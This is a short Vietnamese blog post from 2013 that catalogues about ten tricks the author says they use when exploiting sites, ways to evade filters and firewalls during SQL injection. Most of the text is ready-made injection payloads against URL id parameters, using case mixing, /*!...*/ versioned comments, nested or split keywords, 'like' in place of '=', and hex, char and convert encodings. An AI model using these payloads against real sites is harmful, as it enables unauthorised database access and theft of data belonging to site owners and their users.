4 thg 2, 2013
Một số cách Bypass SQL injection
Một số trick mình hay dùng khi khai thác.Thường thì chỉ chặn select tuy nhiên có 1 vài trường hợp chặn luôn cả khoảng trắng ở url khi đấy thay các ký tự như /**/ + %252f%252a*/ .... muốn tìm thêm thì nhìn vào setting của havij có mấy cái đấy. Nhưng đấy là số ít, giờ ta vào phần chính:
Cách 1: thay ký tự thường bằng ký tự hoa
id=1+UnIoN SeLeCT 1,2,3,4-- -
Cách 2: dùng cặp thẻ /*!code*/
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -
Cách 3: dùng like thay cho = (khi dấu = bị chặn)
/*!TaBlE_ScHeMa*/+like+database()– -
Cách 4: Lồng Union và select
id=1+UNIunionON+SeLselectECT+1,2,3–
Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:
sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’
Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)
Cách 8: show table ẩn:
group_concat(unhex(hex(table_name)))
cách 9: select
UNION all /*!50000SELECT*/
Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables
Không có nhận xét nào:
Đăng nhận xét